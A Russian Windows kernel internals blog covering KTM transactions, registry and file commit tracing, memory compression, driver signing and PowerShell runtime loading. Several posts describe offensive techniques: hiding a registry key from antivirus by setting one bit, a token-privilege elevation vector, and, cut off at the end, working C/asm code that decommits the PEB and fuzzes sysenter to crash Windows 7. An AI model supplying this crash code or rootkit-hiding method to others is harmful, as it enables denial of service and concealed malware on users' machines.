Самый наглядный пример - это атомарное обновление набора файлов и ключей реестра, этим занимаются разные инсталляторы, windows installer в частности.

На примере работы обновления windows попробуем получить имена создаваемых ключей реестра и создаваемых файлов при коммите транзакции. 

Для этого, нужно немного разобрать внутренности функции коммита, это будет сделано в другой статье. Пока же, достаточно упомянуть точку, где происходит непосредственно запись. Это делается в функции NTSTATUS CmpTransMgrCommitUoW( CM_KCB_UOW *unitOfWork, PLARGE_INTEGER currentTime ), внутри которой есть switch ( unitOfWork->ActionType ).

Нас интересует unitOfWork->ActionType == UoWAddThisKey, который приводит нас к функции NTSTATUS CmpCommitAddKeyUoW( CM_KCB_UOW *uow, PLARGE_INTEGER lastWriteTime ).

Из структуры CM_KCB_UOW можно получить имя создаваемого ключа:

typedef struct _CM_KCB_UOW
{
...
     CM_KEY_CONTROL_BLOCK *KeyControlBlock;
...
} CM_KCB_UOW;

typedef struct _CM_KEY_CONTROL_BLOCK
{
    ...
    PCM_NAME_CONTROL_BLOCK NameBlock;
    ...
} CM_KEY_CONTROL_BLOCK;

typedef struct _CM_NAME_CONTROL_BLOCK
{
...
    union
    {
        CM_NAME_HASH NameHash;
        struct
        {
            ULONG   ConvKey;
            struct _CM_KEY_HASH *NextHash;
            USHORT  NameLength;   
            WCHAR   Name[1] ;      // The actual string value
        };
    };
} CM_NAME_CONTROL_BLOCK;

Имея эту информацию, можно получить список создаваемых ключей при обновлении(ставим брекпойнт и запускаем любое обновление windows):

bp CmpCommitAddKeyUoW "da /c 64 poi(poi(esi+18)+4*7)+e;.echo '---CmpCommitAddKeyUoW---'; g"

Вывод:
a0874016  "PACKAGE_19_FOR_KB935509~31BF3856AD364E35~X86~~6.0.1.9.H@......NtFs....h._.`...."
'---CmpCommitAddKeyUoW---------'
9694cd4e  "X86_MICROSOFT-WINDOWS-B..AGER-PCAT.RESOURCES_31BF3856AD364E35_0.0.0.0_SV-SE_2877C192B6493CCD*"
'---CmpCommitAddKeyUoW---------'
a0a0ba6e  "PACKAGE_20_FOR_KB935509~31BF3856AD364E35~X86~~6.0.1.9.........CMN.."
'---CmpCommitAddKeyUoW---------'
a0b5f28e  "X86_MICROSOFT-WINDOWS-B..AGER-PCAT.RESOURCES_31BF3856AD364E35_0.0.0.0_TR-TR_D1850BD9A5053EBE0"
'---CmpCommitAddKeyUoW---------'
a05c96fe  "PACKAGE_21_FOR_KB935509~31BF3856AD364E35~X86~~6.0.1.9.0.\.....SeTd.."
'---CmpCommitAddKeyUoW---------'
a064d986  "X86_MICROSOFT-WINDOWS-B..AGER-PCAT.RESOURCES_31BF3856AD364E35_0.0.0.0_ZH-CN_A2E229D7553D10DD0"
'---CmpCommitAddKeyUoW---------'
a0791426  "PACKAGE_22_FOR_KB935509~31BF3856AD364E35~X86~~6.0.1.9.X.y.....Ntfo"
'---CmpCommitAddKeyUoW---------'
a058a3a6  "X86_MICROSOFT-WINDOWS-B..AGER-PCAT.RESOURCES_31BF3856AD364E35_0.0.0.0_ZH-HK_A18D22655618836D0.0.X..."
'---CmpCommitAddKeyUoW---------'
9e773b16  "PACKAGE_23_FOR_KB935509~31BF3856AD364E35~X86~~6.0.1.9.H;w.....FMfn..."
'---CmpCommitAddKeyUoW---------'
a0d26696  "X86_MICROSOFT-WINDOWS-B..AGER-PCAT.RESOURCES_31BF3856AD364E35_0.0.0.0_ZH-TW_A6DE672D52ADED4D0.0.0"
'---CmpCommitAddKeyUoW---------'
9eef0f46  "PACKAGE_24_FOR_KB935509~31BF3856AD364E35~X86~~6.0.1.9.x.......FSim."
'---CmpCommitAddKeyUoW---------'
96e7f5e6  "X86_MICROSOFT-WINDOWS-SERVICINGSTACK-MSG_31BF3856AD364E35_0.0.0.0_NONE_62795FA07331A3BC442....IoNm"
'---CmpCommitAddKeyUoW---------'

Примерно также можно получить и значения:

a0c19858  "PendingXmlIdentifier"
'---CmpCommitSetValueKeyUoW----'
a0c198d0  "AdvancedInstallersNeedResolving"
'---CmpCommitSetValueKeyUoW----'
a20f12b8  "InstallClient"
'---CmpCommitSetValueKeyUoW----'
a20f1310  "InstallName"
'---CmpCommitSetValueKeyUoW----'
a20f1358  "InstallLocation"
'---CmpCommitSetValueKeyUoW----'
a20f1430  "CurrentState"
'---CmpCommitSetValueKeyUoW----'
a20f1470  "Visibility"
'---CmpCommitSetValueKeyUoW----'

Для файлов интересна функция:

Ntfs!TxfGetTransactionFromFileObject:
8519e67e 8bff            mov     edi,edi
8519e680 55              push    ebp
8519e681 8bec            mov     ebp,esp
8519e683 56              push    esi
8519e684 ff7508          push    dword ptr [ebp+8]
8519e687 33f6            xor     esi,esi
8519e689 e8fd3ff7ff      call    Ntfs!IoGetTransactionParameterBlock
8519e68e 85c0            test    eax,eax

Прототип не известен, но сразу на входе есть вызов IoGetTransactionParameterBlock( PFILE_OBJECT FileObject ), которая есть в msdn
В аргументах идет нужный нам FILE_OBJECT.

Ставим брекпойнт, чтобы получить список создаваемых и открываемых файлов при коммите транзакции:

bp 8519e689 "!object poi(esp);.echo '---File---'; g"

Получаем:

Object: 831da480  Type: (82b93a80) File
    ObjectHeader: 831da468 (old version)
    HandleCount: 0  PointerCount: 1
    Directory Object: 00000000  Name: \windows\winsxs\msil_microsoft.web.management_31bf3856ad364e35_6.0.6000.16386_none_c30fe7d58014a975\ {HarddiskVolume1}
'---File---'
Object: 83301c88  Type: (82b93a80) File
    ObjectHeader: 83301c70 (old version)
    HandleCount: 0  PointerCount: 1
    Directory Object: 00000000  Name: \Windows\winsxs {HarddiskVolume1}
'---File---'
Object: 831da480  Type: (82b93a80) File
    ObjectHeader: 831da468 (old version)
    HandleCount: 0  PointerCount: 1
    Directory Object: 00000000  Name: \windows\winsxs\msil_microsoft_vsavb_b03f5f7f11d50a3a_6.0.6000.16386_none_6728c2d6cd97e7f4\ {HarddiskVolume1}
'---File---'
Object: 83301c88  Type: (82b93a80) File
    ObjectHeader: 83301c70 (old version)
    HandleCount: 0  PointerCount: 1
    Directory Object: 00000000  Name: \Windows\winsxs {HarddiskVolume1}
'---File---'
Object: 831da480  Type: (82b93a80) File
    ObjectHeader: 831da468 (old version)
    HandleCount: 0  PointerCount: 1
    Directory Object: 00000000  Name: \windows\winsxs\msil_miguicontrols.resources_31bf3856ad364e35_6.0.6000.16386_ru-ru_0c31b4feb872e0ff\ {HarddiskVolume1}
'---File---'
Object: 83301c88  Type: (82b93a80) File
    ObjectHeader: 83301c70 (old version)
    HandleCount: 0  PointerCount: 1
    Directory Object: 00000000  Name: \Windows\winsxs {HarddiskVolume1}
'---File---'
Object: 831da480  Type: (82b93a80) File
    ObjectHeader: 831da468 (old version)
    HandleCount: 0  PointerCount: 1
    Directory Object: 00000000  Name: \windows\winsxs\msil_miguicontrols_31bf3856ad364e35_6.0.6000.16386_none_ac1216923fb00239\ {HarddiskVolume1}

Поддержка транзакций в ядре windows

 

Для поддержки транзакций в ядре существуют четыре объекта ядра:

Transaction ( KTRANSACTION )
Transaction Manager ( KTM )
Resource Manager ( KRESOURCEMANAGER )
Enlistment ( KENLISTMENT )

Жизненный цикл этих объектов, как собственно и любых других в windows состоит из инициализации, создания, работы с объектами и их удаления.

Инициализация

 

Инициализация(заполнение OpenProcedure/CloseProcedure/DeleteProcedure и остальных данных ) и создание(ObCreateObjectTypeEx) этих объектов происходит на этапе инициализации системы:

Phase1Initialization => Phase1InitializationDiscard => TmInitSystem =>
=> TmpTransactionManagerInitialization / TmpTransactionInitialization / TmpResourceManagerInitialization / TmpEnlistmentInitialization
=> инициализация и создания соответствующих объектов.

Пример инициализации KTRANSACTION:

BOOLEAN TmpTransactionInitialization()
{
    OBJECT_TYPE_INITIALIZER     ObjectTypeInitializer;
    UNICODE_STRING                 DestinationString;
    NTSTATUS                     status;

    RtlInitUnicodeString( &DestinationString, L"TmTx" );
   
    TmpTransactionTypeName.Buffer = NULL;
   
    status = RtlDuplicateUnicodeString( 0, &DestinationString, &TmpTransactionTypeName );

    if ( !NT_SUCCESS(status) )   
        return FALSE;
   
    RtlZeroMemory( &ObjectTypeInitializer, sizeof(OBJECT_TYPE_INITIALIZER) );
   
    ObjectTypeInitializer.Length = sizeof(OBJECT_TYPE_INITIALIZER);
    ObjectTypeInitializer.InvalidAttributes = OBJ_OPENLINK;
    ObjectTypeInitializer.GenericMapping.GenericRead = TmpTransactionMapping[0];
    ObjectTypeInitializer.GenericMapping.GenericWrite = TmpTransactionMapping[1];
    ObjectTypeInitializer.GenericMapping.GenericExecute = TmpTransactionMapping[2];
    ObjectTypeInitializer.GenericMapping.GenericAll = TmpTransactionMapping[3];
    ObjectTypeInitializer.PoolType = NonPagedPool;
    ObjectTypeInitializer.DefaultNonPagedPoolCharge = sizeof(KTRANSACTION);
    ObjectTypeInitializer.ValidAccessMask = TRANSACTION_ALL_ACCESS | TRANSACTION_RIGHT_RESERVED1;
    ObjectTypeInitializer.CloseProcedure = TmpCloseTransaction;
    ObjectTypeInitializer.DeleteProcedure = TmpDeleteTransaction;
   
    status = ObCreateObjectTypeEx( &TmpTransactionTypeName, &ObjectTypeInitializer, 0, &TmTransactionObjectType );

    if ( !NT_SUCCESS(status) )
        return FALSE;
     
    return TRUE;
}

Полностью функция инициализации выглядит так:

BOOLEAN TmInitSystem()
{
    if ( !TmpTransactionManagerInitialization() )
        return FALSE;

    if ( !TmpTransactionInitialization() )
        return FALSE;       

    if ( !TmpResourceManagerInitialization() )
        return FALSE;

    if ( !TmpEnlistmentInitialization() )
        return FALSE;

    ExInitializePagedLookasideList(&TmpLogWriteLookasideList, 0, 0, 0, 0x214, 'lLmT', 0);
    KeInitializeMutex(&TmpAllProtocolsListMutex, 0);
    InitializeListHead(&TmpAllProtocolsList);
    TmpAllProtocolsListCount = 0;
    KeInitializeMutex(&TmpAllPropReqsListMutex, 0);
    InitializeListHead(&TmpAllPropReqsList);
    KeInitializeMutex(&TmpAllCRMListMutex, 0);
    InitializeListHead(&TmpAllCRMList);
    TmpAllCRMListCount = 0;

    TmpNamespaceInitialize( FIELD_OFFSET( KTM, NamespaceLink ), &TmpTmNamespace, FIELD_OFFSET( KTM, TmIdentity ) );
    TmpNamespaceInitialize( FIELD_OFFSET( KTRANSACTION, GlobalNamespaceLink ), &TmpTransactionsNamespace, FIELD_OFFSET( KTRANSACTION, UOW ) );
   
    KeInitializeEvent( &TmpTransactionFreezeCompleteEvent, NotificationEvent, FALSE );
    KeInitializeEvent( &TmpTransactionThawEvent, NotificationEvent, FALSE );
    KeInitializeMutex( &TmpFreezeMutex, 0 );
    KeInitializeEvent( &TmpTransactionFreezeCancelEvent, NotificationEvent, FALSE );
    KeInitializeTimer( &TmpTransactionThawTimer );
    KeInitializeDpc( &TmpTransactionThawDpc, TmpTransactionThawDpcRoutine, NULL );

    if ( !TmpInitializeKtmRmSecurityDescriptor() )
        return FALSE;

    return TRUE;
}

Где хранятся транзакции? Логично было бы предположить, что как и процессы/потоки они хранятся в связанных списках, но нет.
Транзакции хранятся в KTMOBJECT_NAMESPACE. В основе этой структуры лежит AVL дерево. Функции для работы с данной структурой:

TmpNamespaceLock
TmpNamespaceUnlock
TmpNamespaceInitialize
TmpNamespaceEnumerate
TmpNamespaceEnumerateObject
TmpNamespaceForEach
TmpNamespaceLookup
TmpNamespaceReplace
TmpNamespaceInsert
TmpNamespaceRemove
TmpNamespaceRename
TmpNamespaceCompareGuids
TmpNamespaceAllocateEntry
TmpNamespaceFreeEntry

В TmInitSystem вызывается инициализация глобальных переменных TmpTmNamespace / TmpTransactionsNamespace для хранения менеджеров транзакций и самих транзакций. Кроме того, в KRESOURCEMANAGER / KTM есть локальные namespace'ы. Подробнее про namespace'ы я расскажу в следующей статье.


Создание объектов

 

Создание объектов как и любых других в windows реализуется через NtCreate* функции:

NtCreateTransaction
NtCreateEnlistment
NtCreateResourceManager
NtCreateTransactionManager


Общая реализация также стандартна:

1) try + ProbeForWrite/ProbeForRead
2) проверка аргументов (флаги, длина юникодных строк и так далее)
3) создание объекта через ObCreateObject
4) инициализация созданного объекта (TmInitializeResourceManager/TmpInitializeEnlistment/TmInitializeTransaction/TmInitializeTransactionManager)

Работа с объектами

 

Для работы с объектами транзакций / ресурс менеджеров и прочих объектов существует куча сервисных функций:

NtCommitTransaction
NtRollbackTransaction
NtCommitEnlistment
NtRollbackEnlistment
NtRecoverEnlistment
NtSetInformationEnlistment
NtQueryInformationEnlistment
NtSetInformationTransaction
NtCreateKeyTransacted
...


И так далее, подробнее про функции и механизм commit'a / rollback'a будет рассказано в отдельной статье.

Удаление объектов

 

При удалении вышеупомянутых 4х объектов происходит все тоже самое, что и должно происходить с объектами. При закрытии хендла на объект вызывается CloseProcedure. Когда счетчик ссылок на объект становится равен нулю - вызывается DeleteProcedure. Установка этих функций для каждого объекта происходит на этапе инициализации системы в функции TmInitSystem ( см. выше, раздел Инициализация ).

Рассмотрим на примере объекта транзакции. Скажем, в доке https://docs.microsoft.com/en-us/windows/desktop/ktm/transactions упоминается следующее поведение для транзакций:

"A transaction is an object that defines a logical unit of work. The transaction is alive as long as there is a handle referencing the transaction and it is considered active if the transaction has not yet been committed or rolled back. If a transaction is created and all handles to it have been closed before a commit or rollback occurs, the transaction will be rolled back."

Заглянем в код, CloseProcedure'ой для транзакции является функция TmpCloseTransaction.

VOID TmpCloseTransaction( IN PEPROCESS Process OPTIONAL, IN PVOID Object, IN ULONG GrantedAccess, IN ULONG_PTR ProcessHandleCount, IN ULONG_PTR SystemHandleCount)
{
    if ( SystemHandleCount == 1 || ProcessHandleCount == 1 )
    {
        TmRollbackTransaction( (KTRANSACTION *)Object, 0 );  
    }
}

Msdn не обманул.

Для DeleteProcedure'ы транзакции код выглядит как-то так:

VOID TmpDeleteTransaction( PVOID object )
{
    KTM             *tm = NULL;
    KTRANSACTION     *transaction = (KTRANSACTION*)object;

    SetFlag( transaction->Flags, KTRANSACTION_FLAG_DELETED );
      
    if ( transaction->State == KTransactionUninitialized )
        return;
   
    if ( transaction->TmNamespaceLink.Links.Parent )
    {
        tm = transaction->Tm;
          
        if ( tm )
        {
            TmpNamespaceRemove( (PVOID)transaction, &tm->Transactions, (PVOID)transaction->Tm );
            transaction->Tm = NULL;
        }
    }
      
    if ( transaction->GlobalNamespaceLink.Links.Parent )
        TmpNamespaceRemove( (PVOID)transaction, &TmpTransactionsNamespace, NULL );
      
    if ( transaction->Description.Buffer )
        RtlFreeUnicodeString( &transaction->Description );

    if ( transaction->TreeTx != transaction )
    {            
        ObfDereferenceObject( transaction->TreeTx );
        transaction->TreeTx = NULL;
    }  
}

вторник, 3 апреля 2018 г.

Каким алгоритмом жмется память в win10 при memory compression?

Таким странным вопросом я озадачился, просматривая видео про memory compression https://channel9.msdn.com/Blogs/Seth-Juarez/Memory-Compression-in-Windows-10-RTM.

Любопытство не порок, а вполне себе мотиватор. Поэтому я, недолго думая, взял отладчик в руки и углубился в ядро десятки.
Чтобы минимизировать потерю времени на анализ, я подумал над тем, о чем говорилось в видео.

Запись в store с сжатыми страничками идет асинхронно, то есть искать это можно, но это долго и не эффективно.
А вот получение странички из store идет синхронно при hard fault'е.

Соответственно, искать стоит не то место, где страничка сжимается, а место, где она разжимается в памяти.
Страничные фолты обрабатываются через прерывания, имя функции обработчика page fault'a я не помнил, но ничего мешает сдампить idt и вспомнить:

kd> !idt

Dumping IDT:

...
0c:    fffff8030be0b900 nt!KiStackFault
0d:    fffff8030be0ba40 nt!KiGeneralProtectionFault
0e:    fffff8030be0bb40 nt!KiPageFault <================ обработчик
10:    fffff8030be0c140 nt!KiFloatingErrorFault
11:    fffff8030be0c2c0 nt!KiAlignmentFault
...

После небольшого анализа в IDA получаем цепочку KiPageFault => MiIssueHardFault => MiIssueHardFaultIo => SmPageRead.

Префикс Sm в функции SmPageRead для меня был новым, вспоминая видео и слово store, можно предположить что префикс Sm означает store manager или что-то вроде того.

Смотрим тело функции и видим, что это просто обертка над store manager'ом, который и рулит всеми операциями связанными с имплементацией memory compression фичи:

__int64 SmPageRead(union _MM_STORE_KEY *a1, unsigned __int64 a2)
{
...
  SmKeyConvert(a1, (union _SM_PAGE_KEY *)&v7);
  return SMKM_STORE_MGR<SM_TRAITS>::SmPageRead(v3, &v7, v2, v5, v4);
}

Далее оставалось просто построить граф вызовов функции и прочекать их содержимое на предмет кода, связанного с расжатием данных.

В итоге поиск привел к ST_STORE<SM_TRAITS>::StDmSinglePageCopy, которая вызывала RtlDecompressBufferEx. То есть использовалась стандартная функция.

Первый аргумент у неё CompressionFormat, осталось лишь поставить брекпойнт и выяснить значение в отладчике.
Бряк сработал, на х64 первые 4 аргумента передаются в регистрах, смотрим чему равен rcx, он равен трем.

Это соответствует флагам COMPRESSION_FORMAT_DEFAULT | COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_STANDARD.
То есть алгоритм сжатия - LZ compression. На этом моё любопытство было удовлетворено.

вторник, 31 октября 2017 г.

Long road to launch boot driver

Понадобилось мне как-то запустить проприетарный boot драйвер на x86 windows.
Зарегистрировал его в System Bus Extender группе, запустил, и поймал startup repair на старте ОС.
Что же, BSOD'a нет - уже хорошо, подумал я тогда.

Проверил внешние зависимости - они были.
Вот только были они от системных драйверов(NDIS и прочие), никаких других сторонних компонентов не было.
Несмотря на то, что LoadOrder показывал, что тот же NDIS стартовал как boot, но с тагом N/A, то есть позже, все равно при ресолве импорта он был бы подгружен системой. Дело было в чем-то другом.

Я предположил, что в структуре файла.
Проверил CRC в хедере - все в норме, security directory пуста(подписи нет), разве что peverify выдал нечто вроде: Warning: cannot find address of 'ExReleaseFastMutex' in 'HAL.dll',
но это лишь варнинг, что сам верифай и подтвердил: Everything is OK. File is correct and can be loaded by system loader.
То есть, со структурой файла было всё в порядке.

Не придумав ничего другого, как пробежать момент загрузки в отладчике( бряк на IopLoadDriver ), я дошел в windbg до точки входа и ... драйвер загрузился. Это было как-то совсем странно, обычно бывает наоборот, под отладчиком программы не грузятся из-за антиотладки, а у меня случилось vise versa.

Далее я решил позагружать драйвер вручную, через kmdmanager, он драйвер не загрузил и выдал что-то типа error number not found. Wtf???
Пришлось загружать через свою тулзу. Наконец, я получил код ошибки:

ERROR_INVALID_IMAGE_HASH

Windows cannot verify the digital signature for this file.
A recent hardware or software change might have installed a file that is signed incorrectly or damaged, or that might be malicious software from an unknown source.


Тут я повторно сказал - WTF! Какие подписи на x86? Пробую запустить свой драйвер пустышку без всяких подписей - запускается.

После перелопаченного гугла решение паззла нашлось - https://msdn.microsoft.com/en-us/library/windows/hardware/dn653559(v=vs.85).aspx

В частности, в доке сказано, что:

• Boot-start drivers should contain an embedded signature.

Именно она и находилась в моем драйвере( но невалидная или поврежденная ).

Также, в доке есть другой полезный раздел:

How to Disable Signature Enforcement during Development

During the early stages of development, developers can disable enforcement in Windows so that driver signing is unnecessary.
The following options are available for developers to temporarily disable kernel-mode code-signing enforcement so that Windows Vista will load an unsigned driver.

•    Attaching a kernel debugger.
    Attaching an active kernel debugger to the target computer disables the enforcement of kernel-mode signatures in Windows Vista and allows the driver to load.
•    Using the F8 option.
    An F8 Advanced Boot Option introduced with Windows Vista — “Disable Driver Signature Enforcement”
    — is available to disable the kernel-signing enforcement only for the current boot session. This setting does not persist across boot sessions.

Собственно, поэтому при активном отладчике драйвер у меня замечательно загрузился. А после “Disable Driver Signature Enforcement” на старте, наконец запустился и исходный драйвер.

вторник, 25 апреля 2017 г.

Как заставить powershell загрузить CLR последней версии

Потребовалось мне получить некоторые имена функций из powershell, казалось бы качай pdb и дело в шляпе, ан нет.

Powershell это по сути фронтенд .NET Framework, со всеми вытекающими ввиде JIT и предварительно скомпилированными через Native Image Generator сборками. Сборки естественно генерятся под целевую платформу и логично, что символьные сервера микрософт никаким образом не могут содержать pdb для NI файлов.

Однако, в 4й версии фреймворка NGEN обзавелся параметром createpdb, и символы можно получить примерно так:

ngen.exe createpdb "C:\Windows\assembly\...\mscorlib.ni.dll" "C:\SymbolCache"

Соответственно, после получения символов задача должна быть решена. Но powershell подложил свинью, в виде загружаемого рантайма версии 2.0. А NGEN этой версии не имеет параметра для создания pdb. Далее пришлось раскапывать, как powershell узнает, какую версию рантайма грузить.

Недолгие поиски привели к реестру:

wmain => GetRegistryInfo(&NETversion) => RegQueryREG_SZValue(L"RuntimeVersion")

В реестре была видна версия 2.0:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine]
"ApplicationBase"="C:\\Windows\\System32\\WindowsPowerShell\\v1.0"
"PSCompatibleVersion"="1.0, 2.0"
"RuntimeVersion"="v2.0.50727"
"ConsoleHostAssemblyName"="Microsoft.PowerShell.ConsoleHost, Version=1.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35, ProcessorArchitecture=msil"
"ConsoleHostModuleName"="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\Microsoft.PowerShell.ConsoleHost.dll"
"PowerShellVersion"="2.0"

Ради любопытства я посмотрел как именно грузится рантайм:

wmain => LaunchManagedMonad => CorBindToRuntimeEx(NETversion)

Ну и все, что оставалось сделать, это внести последнюю версию рантайма(v4.0.30319), и после небольшой возни с доступами к защищенной ветке powershell'а дело было сделано.

Меняем и сравниваем:

Было:  LoadLibraryExW(C:\Windows\assembly\NativeImages_v2.0.50727_32\mscorlib\fe70d777535c215f4fe9f9def2b4c815\mscorlib.ni.dll)
Стало: LoadLibraryExW(C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\b7a12c4c0032847fcc6b9c710460456f\mscorlib.ni.dll)

Все имена функций прекрасно распознались:

Было:  0x792F123C (mscorlib.ni.dll)
Стало: System.AppDomain.SetupDomain(0x79A61212) (mscorlib.ni.dll)

четверг, 20 апреля 2017 г.

Another one EOP mitigation

В win10(10.0.15063) прикрыли еще одну возможность повышения привилегий, про первую я писал тут: http://kitrap08.blogspot.ru/2016/10/win10-securitydescriptor.html

Вторая заключается в обнулении не SecurityDescriptor'а, а флага Enabled в SEP_TOKEN_PRIVILEGES:

kd> dt nt!_TOKEN -r1
   +0x000 TokenSource      : _TOKEN_SOURCE
      +0x000 SourceName       : [8] Char
      +0x008 SourceIdentifier : _LUID
   +0x010 TokenId          : _LUID
      +0x000 LowPart          : Uint4B
      +0x004 HighPart         : Int4B
   +0x018 AuthenticationId : _LUID
      +0x000 LowPart          : Uint4B
      +0x004 HighPart         : Int4B
   +0x020 ParentTokenId    : _LUID
      +0x000 LowPart          : Uint4B
      +0x004 HighPart         : Int4B
   +0x028 ExpirationTime   : _LARGE_INTEGER
      +0x000 LowPart          : Uint4B
      +0x004 HighPart         : Int4B
      +0x000 u                : <unnamed-tag>
      +0x000 QuadPart         : Int8B
   +0x030 TokenLock        : Ptr32 _ERESOURCE
      +0x000 SystemResourcesList : _LIST_ENTRY
      +0x008 OwnerTable       : Ptr32 _OWNER_ENTRY
      +0x00c ActiveCount      : Int2B
      +0x00e Flag             : Uint2B
      +0x010 SharedWaiters    : Ptr32 _KSEMAPHORE
      +0x014 ExclusiveWaiters : Ptr32 _KEVENT
      +0x018 OwnerEntry       : _OWNER_ENTRY
      +0x020 ActiveEntries    : Uint4B
      +0x024 ContentionCount  : Uint4B
      +0x028 NumberOfSharedWaiters : Uint4B
      +0x02c NumberOfExclusiveWaiters : Uint4B
      +0x030 Address          : Ptr32 Void
      +0x030 CreatorBackTraceIndex : Uint4B
      +0x034 SpinLock         : Uint4B
   +0x034 ModifiedId       : _LUID
      +0x000 LowPart          : Uint4B
      +0x004 HighPart         : Int4B
   +0x040 Privileges       : _SEP_TOKEN_PRIVILEGES
      +0x000 Present          : Uint8B
      +0x008 Enabled          : Uint8B <===================== обнуляем, получаем полный доступ к процессу(EOP)
      +0x010 EnabledByDefault : Uint8B

Более подробный анализ тут: http://anti-reversing.com/Downloads/Sec_Research/ntoskrnl_v10.0.15063_nt!_SEP_TOKEN_PRIVILEGES-Single_Write_EoP_Protect.pdf

вторник, 31 января 2017 г.

Можно ли скрыть ключ в реестре изменив 1 бит?

Таким вопросом я задался когда-то давно, и тогда же получил ответ, а сейчас хочу его озвучить.

Как вообще скрывают ключи в реестре? Хуками, фильтрами и ... и похоже на этом моя фантазия исчерпалась. Но все это требует довольно много кода. Как это коррелирует с заголовком топика? Да никак.

Тем не менее, изменив 1 бит можно скрыть любой ключ реестра. Как это возможно?

Это возможно, если установить CM_KEY_CONTROL_BLOCK *keyCtrlBlock->TransKCBOwner не равным нулю, то есть достаточно установить 1 бит, чтобы сделать ключ реестра невидимым для regedit и системы в целом.

Как такое возможно? Все дело в транзакциях, именно так они работают.

NtOpenKey => CmpBuildHashStackAndLookupCache => CmpCacheLookup => CmRmIsKCBVisible => if (CM_TRANS *transOwner = keyCtrlBlock->TransKCBOwner ) != NULL ).

Собственно, в этом и кроется ответ, достаточно изменить один бит в keyCtrlBlock->TransKCBOwner и ключ реестра станет невидимым для любых существующих антивирусов и антируткитов.

Как это ловить? Да очень просто, перечисляем транзации, сравниваем их хендлы с keyCtrlBlock->TransKCBOwner, если не равно - руткит активность!

А можно ли обойти то, что описано выше? Естественно! Просто создаем валидную транзакцию, которая скрывает ключ реестра, но восстанавливает/удаляет ее когда нужно!

Что такое транзакции и как они работают я постараюсь описать в следующих постах.

четверг, 13 октября 2016 г.

Win10 теперь защищена от обнуления SecurityDescriptor

В Win10 закрыли еще один вектор атаки, основанный на обнулении SecurityDescriptor'а у процесса с высокими привилегиями. Сама атака описана довольно давно в https://media.blackhat.com/bh-us-12/Briefings/Cerrudo/BH_US_12_Cerrudo_Windows_Kernel_WP.pdf.

В Win10 добавили несколько проверок, которые задействуются при доступе к securable object'ам и теперь, при обнуленном SecurityDescriptor'е, ОС будет падать в BSOD с кодом BAD_OBJECT_HEADER.

Нужно заметить, что атака описанная на BH была довольно эффективной, т.к. никакие защитные механизмы ОС типа SMEP эту самую ОС от данной атаки никак не защищали, так как никакой payload не выполнялся. Впрочем, данный тип атаки основывался на возможности записи NULL в любую область памяти ядра. Соответственно, подобную защиту можно будет обойти при возможности писать любое значение в память ядра простым обнулением DACL в SecurityDescriptor'е.

среда, 9 марта 2016 г.

Еще один способ использования BURNMEMORY

Лет 5 назад был пост про BURNMEMORY опцию (http://kitrap08.blogspot.ru/2011/12/burnmemory.html), задаваясь вопросом - а зачем оно вообще нужно. В комментах были даны ответы, но сейчас мне встретился еще один вариант использования BURNMEMORY/removememory, и этот вариант уже имеет непосредственное отношение к практике.

Встретился мне этот вариант в доке: Intel Debug Extensions for WinDbg* for Intel Processor Trace.

Intel Processor Trace это новая фича процессоров Intel 6й серии(Skylake), которая суть есть трассировка выполнения с низким оверхедом. Данные трассировки будут скидываться в память, конфигурировать которую нужно через BIOS / UEFI firmware, но только в том случае, если это самое firmware поддерживает данную фичу. А вот если не поддерживает, то на помочь придет как раз  BURNMEMORY/removememory.

Так как именно эти опции позволят сказать ОС, чтобы она не трогала данную память, в которую будут складываться данные трассировки.

Ну и третий вариант - опция badmemory.

пятница, 4 марта 2016 г.

Verifier

Потребовалось мне, для своих нужд, проинжектировать dll и перехватить в процессе некоторые функции. Да так, чтобы кода было минимум, без всяких там сторонних движков и прочих detours'ов.

Всем этим требованиям удовлетворяет механизм verifier'a. Вот только штука эта отладочная и даже системные приложения не идеальны и полны разного рода косяков и багов. Соответственно verifier начинает проверять, ворчать и сыпать брекпойнтами на любой чих. В отладчике соответственно видно что-то типа такого:

VERIFIER STOP 00000210: pid 0x464: Critical section not initialized.

    759C08C0 : Critical section address.
    008A0BF0 : Critical section debug info address.
    00000000 : Not used.
    00000000 : Not used.
   
Или такого:

VERIFIER STOP 00000006: pid 0x464: corrupted heap pointer or using wrong heap

    00EF1000 : Heap used in the call
    05A507F0 : Heap block
    00000214 : Block size
    80DF1000 : Heap owning the block

При отсутствующем отладчике, соответственно, получим необрабатываемое исключение в том процессе, куда мы заинжектили dll и все благополучно упадет.

В большинстве случаев, брякается все это дело в VerifierStopMessageEx в verifier.dll. А в самом начале функции стоит следующая проверка:

if ( AVrfpProcessBeingTerminated || !AVrfpStopInitialized )
    return 0;
   
То есть бряки перестанут сыпаться, если установить AVrfpProcessBeingTerminated в TRUE. Осталась задача - легко найти эту переменную. VerifierStopMessageEx не экспортируется, а вот VerifierStopMessage экспортируется и имеет в начале нужную переменную:

.text:1124B860 _VerifierStopMessage@40 proc near
.text:1124B860                 mov     edi, edi
.text:1124B862                 push    ebp
.text:1124B863                 mov     ebp, esp
.text:1124B865                 sub     esp, 1Ch
.text:1124B868                 mov     [ebp+var_1C], 0
.text:1124B86F                 mov     [ebp+var_18], 0
.text:1124B876                 mov     [ebp+var_14], 0
.text:1124B87D                 mov     [ebp+var_8], 0
.text:1124B884                 cmp     _AVrfpProcessBeingTerminated, 0
.text:1124B88B                 jnz     short loc_1124B896

Соответственно, найти ее становится элементарным делом. И после нахождения данной переменной и установки ее значения в TRUE, из своей инжектированной dll, все проблемные int 3 более не вызывались.

P.S. К слову, verifier оказался хотя и удобным решением, но тем не менее, не без недостатков. Оказалось, что он перехватывает не все. К примеру, ZwContinue он перехватывать отказался, хотя LdrLoadDll из той же ntdll.dll перехватил.

пятница, 22 января 2016 г.

Peb decommit bug

Старый добрый DOS с декоммитом Peb валит win7 в BSOD:

 void FreePeb()
{
    PVOID pebAddress = NULL;
    
    __asm
    {
        mov eax, DWORD ptr fs:[0x30]
        mov DWORD ptr [pebAddress], eax
    }

    VirtualFreeEx( GetCurrentProcess(), pebAddress, 0, MEM_DECOMMIT );
}

int wmain( int argc, wchar_t *argv[] )
{   
    FreePeb();

    for ( unsigned int i = 0x1000; i < 0x2000; i++ )
    {
        __asm
        {
            push 0
            push 0
            push 0
            push 0
            push 0
            push retSysenter
            mov edx, esp
            mov eax, dword ptr [i]
            sysenter
